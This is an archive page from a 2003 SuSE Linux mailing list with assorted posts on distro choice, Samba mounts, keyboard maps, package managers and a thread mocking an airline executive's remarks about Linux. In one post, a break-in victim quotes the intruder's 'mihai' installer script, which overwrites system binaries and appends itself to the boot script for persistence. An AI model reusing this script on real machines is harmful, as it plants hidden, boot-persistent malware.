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[OT] Linux users are a bunch of potheads. ;)
by Ben Rosenberg 13 Jun '03

13 Jun '03

This is a good one. http://www.techweb.com/wire/story/TWB20030603S0012 According to Nathan Hanks, managing director at Continental Airlines Linux developers are a bunch of potheads. " Having one vendor throat to choke is helpful in crisis situations, Hanks said. An IT pro can't go to the CEO and say that a server is down, "and hopefully some guy in Amsterdam" will get to a fix when he gets back from the "dope house," he said." -Ben -- The IQ and the life expectancy of the average American recently passed each other going in the opposite direction. ---===---===---===--- mailto:ben@whack.org

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Flightgear
by Rohit 13 Jun '03

13 Jun '03

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Choosing Linux Distro
by Filipe Joel de Almeida 13 Jun '03

13 Jun '03

Hi all, I've got a company that does Network Administration in several clients, but up until now we've only worked with M$ systems. I'm starting to use linux (just brought a machine home to install it), and my goal is to try to find out if with Linux we'll be able to replace some of our clients systems. One of my newbie questions is about what distro should we use. We need something that's not very complicated to start with, but that allows us to implement good server solutions. Right now I'm trying to choose between Red Hat and Suse. One of my friends (who is a Red Hat fan) told me that he didn't like SUSE because we were a bit dependant on their configuration tools (I think he mentioned YAST). Can you please tell me if SUSE would be the best distro for me to start with, and why? Thanks in advance Filipe Joel de Almeida Network Consultant Filipe.Joel(a)netcabo.pt

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What to do and how to boot after virus attack (mihai)?
by Peter Gloor 13 Jun '03

13 Jun '03

Unfortunately I left SuSE Linux 8.0 Professional Server open tonight. SuSE Firewall 2 was temporarely deactivated. At 2 PM somebody from outside managed to implantinate a virus (dir /mihai and files like /.mihai, /mihai.tgz, /mihai/inst etc.). At the same time /etc/rc.d/rc.sysinit was been over- written (with a call to wrapper) and the files /usr/bin/wrapper as well as /usr/sbin/wrapper have been overwritten with the code of /mihai. I'm not sure but it looks like other files have been affected as well (sendmail has gotten a date of tonight and is much larger than the original sendmail). Before I rebooted the server I removed /usr/bin/wrapper and /usr/sbin/wrapper. Now, the server will no longer boot. After mounting the file systems (reiserfs) the following messages appears: mounting local filesystems proc on /proctyp proc (rw) Then the server hangs. How can I get the server up again? It doesn't matter to me if I have to reinstall all software as long as I don't need to distroy my partitions and, more important, the file system on hda3, since I have a backup of all important config files and all datafiles on hda3. I tried to reinstall from CD, but this doesn't work too (options freely translated from German): - New Install Will create new partitions and overwirte my HD!?! - Update existing system Does not boot (same as normal boot from disk) - Start installes system Does not boot (same as normal boot from disk) What can I do? Any hints are welcome. This is how /mihai/inst looks like: --------------------------------------------------------------- #/bin/bash echo "Start Daemon" sleep 1 ./kill cp -f mihai /usr/bin/wrapper cp -f mihai /usr/sbin/wrapper sleep 1 wrapper chattr -AacdisSu /etc/rc.d/rc.sysinit echo >>/etc/rc.d/rc.sysinit "#Start Wrapper" echo >>/etc/rc.d/rc.sysinit wrapper sleep 1 rm -rf mihai.tgz rm -rf mihai echo "Done" --------------------------------------------------------------- Does anybody know this virus? Peter

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Re: [SLE] Loosing Keyboard Map
by Alan Wardroper 13 Jun '03

13 Jun '03

See my earlier post - my install keeps losing the keyboard too, and I'm not using any odd hardware like the switch you mentioned. Anyone else seen this sort of behaviour? Know a cure? At 12:37 PM 6/12/2003 -0400, you wrote: >Hello all, I'm new to Suse but not so new to linux. My problem is this, I >have a KVM switch that I share between 3 PC's. One is Win2K, second is >KNOPPIX a debian port and last but certainly not least is Suse, I can keep >the keyboard maps on the 2K and Knoppix but SuSE is changing some way or >another. For instance my @ turns into a " after a few hours of no use. > >Is there a patch I need to get? > >Thanks7c7ed3.jpg

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RE: [SLE] SAMBA and SuSE 8.2
by Sharpe, Richard 13 Jun '03

13 Jun '03

Tim YES ! that worked thank you very much ! Rich Richard A Sharpe Database Analyst and Administration (DBA) Sqlserver/DB2 Amherst Technologies 40 Continental Blvd Merrimack, NH 03054 PHONE .......(603) 579-6180 / (800) 431-8031 Cell phone ..(603) 320-7785 FAX ...........(603) 578-1072 EMAIL .......rsharpe(a)amherst1.com / Webpage ...www.amherst1.com "Tenemos que tener fe" ("We must have faith") -----Original Message----- From: tim [mailto:tim@pipandtim.com] Sent: Friday, June 13, 2003 2:53 AM To: suse-linux-e(a)suse.com Subject: Re: [SLE] SAMBA and SuSE 8.2 On Friday 13 June 2003 03:14, Richard Sharpe wrote: > concord:/ # mount -t smbfs -o rw,username=rsharpe,password=xxxxxxx > //bedford/apps /apps > INFO: Debug class all level = 1 (pid 3163 from pid 3163) > concord:/ # This worked for me (ie added dmask option) mount -t smbfs -o rw,username=rsharpe,password=xxxxxxx -o dmask=777 //bedford/apps /apps Tim -- Check the headers for your unsubscription address For additional commands send e-mail to suse-linux-e-help(a)suse.com Also check the archives at http://lists.suse.com Please read the FAQs: suse-linux-e-faq(a)suse.com

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webmin firewall question
by gary 13 Jun '03

13 Jun '03

Hello all, Have question of above. Has anyone used the webmin firewall, and if so, does it work well? I have not used SuSE firewall, as I really do not need it internally. However, from time to time, I do have need to drop / accept an IP address "on the fly," and I thought this would be a quick interface to do so. I realize that a quick one liner can do this anytime, but was thinking about the nice webmin firewall feature for others on the network. Thanks, -- Gary "My feet are small for the same reason my waist is small -- things don't grow in the shade." -- Dolly Parton

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Yikes! Both `red-carpet' and `you' are confused
by David Krider 13 Jun '03

13 Jun '03

After installing XD2 from the install script (using downloaded sources from disk), I see that red-carpet doesn't associate any of the XD2 _packages_ with the XD2 _channel_. When looking at that channel, it's blank. When looking at the whole list, the XD2 packages are shown as not belonging to any channel. Furthermore, when using YOU, it's confused about the mozilla packages. It thinks the XD2 Mozilla package isn't installed or something, and wants to remove everything that depends on it. Anyone else seeing this, or did I just get a fluke? Unless I can sort this out, I'm guessing I'll need to do a clean install. I'm not going to live with XD2 screwing up my package management, no matter how much I like the new versions of Evolution and Galeon. Regards, dk

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AbiWord
by James Ogley 13 Jun '03

13 Jun '03

Updated on www.usr-local-bin.org today: * AbiWord - Version 1.99.1 released - Beta 1 of AbiWord 2.0 - Plugins & clipart also updated And now, I really am away for the next week ;) I'll be reading mail, but won't be able to do any updates till the 23rd. James -- James Ogley, Webmaster, Rubber Turnip james(a)rubberturnip.org.uk http://www.rubberturnip.org.uk Jabber: riggwelter(a)myjabber.net Using Free Software since 1994, running GNU/Linux (SuSE 8.2) GNOME updates for SuSE: http://www.usr-local-bin.org

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Re: [SLE] [OT] Linux users are a bunch of potheads. ;)
by Jeff Bankston 13 Jun '03

13 Jun '03

I think more of the quote just goes to show their ignorance........ ----------------- But Lawal and others said Microsoft is not unique in its vulnerabilities. "We have a Linux server that has three times the critical updates as our Windows server," he said. Nathan Hanks, managing director at Continental Airlines, said, "All the guys hacking Windows are Linux guys." Continental was hit hard by SQL Slammer and "our CEO said we'd failed," Hanks said. "We cannot have undocumented servers that are responding to anonymous queries ... that allow buffer overruns," Hanks said. "CIOs need people in place to figure out why port 1434 is open on publicly exposed firewalls." Lawal said all companies need to have proper processes and personnel in place to deal with potential breaches. He also said he was impressed with Microsoft's response to the problems. Gordon Mangione, vice president of SQL Server, hosted a conference call with all the affected CTOs, and within a day Microsoft was mobilizing resources, he said. "We don't get that from Microsoft competitors," Lawal said. "Having said that, we said some bad words." Having one vendor throat to choke is helpful in crisis situations, Hanks said. An IT pro can't go to the CEO and say that a server is down, "and hopefully some guy in Amsterdam" will get to a fix when he gets back from the "dope house," he said. ------------------------------- Kinda like saying "we screwed up because our firewall was open, but it's Linux's fault" or along those lines. If he blames Linux for all those hacks, does this mean Linux is far more powerful than Windoze?? Hmmmm...... -Jeff ----- Original Message ----- From: "Martin" <earl072001(a)yahoo.com> Newsgroups: Suse.Linux-e To: <suse-linux-e(a)suse.com> Sent: Thursday, June 12, 2003 2:37 PM Subject: Re: [SLE] [OT] Linux users are a bunch of potheads. ;) > May be I'm searching wrong direction but I couldn't > find the 'potheads' statement yet but found all > others. > > Anyway, with anyone's option it's like with the ass, > everyone gets one :) (I've heard this somewhere and > like it) so give the guy a break - the world colored > just one way would be boring wouldn't it? > > Martin > > --- Matthew Johnson <matthew(a)psychohorse.com> wrote: > > On Thu, 2003-06-12 at 10:58, Ben Rosenberg wrote: > > > This is a good one. > > > > > > http://www.techweb.com/wire/story/TWB20030603S0012 > > > > > > According to Nathan Hanks, managing director at > > Continental Airlines > > > Linux developers are a bunch of potheads. > > > > > > > > > " Having one vendor throat to choke is helpful in > > crisis situations, > > > Hanks said. An IT pro can't go to the CEO and say > > that a server is > > > down, "and hopefully some guy in Amsterdam" will > > get to a fix when he > > > gets back from the "dope house," he said." > > > > > > > > > -Ben > > > > There is no hope for security across the board when > > stupid companies > > hire stupid people for critical positions. > > > > Flown that airline a couple of times (food on the > > international flights > > sucked), but that was very offensive. > > > > Dunno, being in the States for 4 years leads to the > > first impulse to > > sue...This must be in the burrito's or something :). > > > > Seriously, there are other things he says that h > > needs to prove, like > > saying all his attacks come from Linux users (funny, > > most of the crap I > > get is from Windows vulnerabilities spreading their > > vile across the > > 'net). > > > > > > > > > > > > > > -- > > Check the headers for your unsubscription address > > For additional commands send e-mail to > > suse-linux-e-help(a)suse.com > > Also check the archives at http://lists.suse.com > > Please read the FAQs: suse-linux-e-faq(a)suse.com > > > > > > > __________________________________ > Do you Yahoo!? > Yahoo! Calendar - Free online calendar with sync to Outlook(TM). > http://calendar.yahoo.com > > -- > Check the headers for your unsubscription address > For additional commands send e-mail to suse-linux-e-help(a)suse.com > Also check the archives at http://lists.suse.com > Please read the FAQs: suse-linux-e-faq(a)suse.com >

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